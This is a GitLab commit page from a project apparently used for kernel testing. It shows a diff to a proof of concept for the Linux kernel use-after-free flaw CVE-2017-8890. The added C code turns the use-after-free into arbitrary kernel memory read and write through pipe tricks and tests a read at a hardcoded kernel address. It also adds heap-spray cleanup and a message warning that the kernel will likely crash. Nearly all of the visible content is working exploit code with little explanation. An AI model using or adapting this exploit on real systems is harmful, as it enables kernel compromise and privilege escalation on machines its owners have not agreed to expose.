Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
K
KernelTestbench
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Deploy
Releases
Container Registry
Model registry
Monitor
Incidents
Service Desk
Analyze
Value stream analytics
Contributor analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Terms and privacy
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
Werner Sembach
KernelTestbench
Commits
484469e6
Commit
484469e6
authored
6 years ago
by
Werner Sembach
Browse files
Options
Downloads
Patches
Plain Diff
Try implementing exploit strategy from github exploit
parent
c9c3b597
No related branches found
No related tags found
No related merge requests found
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
CVE-2017-8890_PoC.c
+49
-1
49 additions, 1 deletion
CVE-2017-8890_PoC.c
with
49 additions
and
1 deletion
CVE-2017-8890_PoC.c
+
49
−
1
View file @
484469e6
...
@@ -163,6 +163,44 @@ void *set_fake_next_rcu() {
...
@@ -163,6 +163,44 @@ void *set_fake_next_rcu() {
return
NULL
;
return
NULL
;
};
};
int
read_at_address_pipe
(
void
*
address
,
void
*
buf
,
size_t
len
)
{
int
ret
=
1
;
int
pipes
[
2
];
if
(
pipe
(
pipes
))
return
1
;
if
(
write
(
pipes
[
1
],
address
,
len
)
!=
len
)
goto
end
;
if
(
read
(
pipes
[
0
],
buf
,
len
)
!=
len
)
goto
end
;
ret
=
0
;
end:
close
(
pipes
[
1
]);
close
(
pipes
[
0
]);
return
ret
;
}
int
write_at_address_pipe
(
void
*
address
,
void
*
buf
,
size_t
len
)
{
int
ret
=
1
;
int
pipes
[
2
];
if
(
pipe
(
pipes
))
return
1
;
if
(
write
(
pipes
[
1
],
buf
,
len
)
!=
len
)
goto
end
;
if
(
read
(
pipes
[
0
],
address
,
len
)
!=
len
)
goto
end
;
ret
=
0
;
end:
close
(
pipes
[
1
]);
close
(
pipes
[
0
]);
return
ret
;
}
void
heap_spray_init
()
{
void
heap_spray_init
()
{
printf
(
"[Spray] heap_spray_init start
\n
"
);
printf
(
"[Spray] heap_spray_init start
\n
"
);
...
@@ -273,6 +311,14 @@ void *server(void *arg) {
...
@@ -273,6 +311,14 @@ void *server(void *arg) {
//printf("[Server] Shellcode return: %d\n", shellcode_return);
//printf("[Server] Shellcode return: %d\n", shellcode_return);
printf
(
"Exploit complete, let's try arbitrary write.
\n
"
);
char
tester
[
8
]
=
{};
if
(
read_at_address_pipe
((
void
*
)
0xFFFFFFC000008000LL
,
&
tester
,
4
))
{
perror
(
"Turn UAF to arbitrary read/write failed"
);
//while(1) {}
}
printf
(
"Turn UAF to arbitrary read/write succeeded.
\n
"
);
server_finish
=
1
;
server_finish
=
1
;
return
NULL
;
return
NULL
;
}
}
...
@@ -341,7 +387,9 @@ int main(int argc, char *argv[]) {
...
@@ -341,7 +387,9 @@ int main(int argc, char *argv[]) {
sleep
(
1
);
sleep
(
1
);
}
}
//heap_spray_finalize();
printf
(
"Trying to exit, but kernel will most likely crash on freeing manipulated memory region.
\n
"
);
heap_spray_finalize
();
return
EXIT_SUCCESS
;
return
EXIT_SUCCESS
;
}
}
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment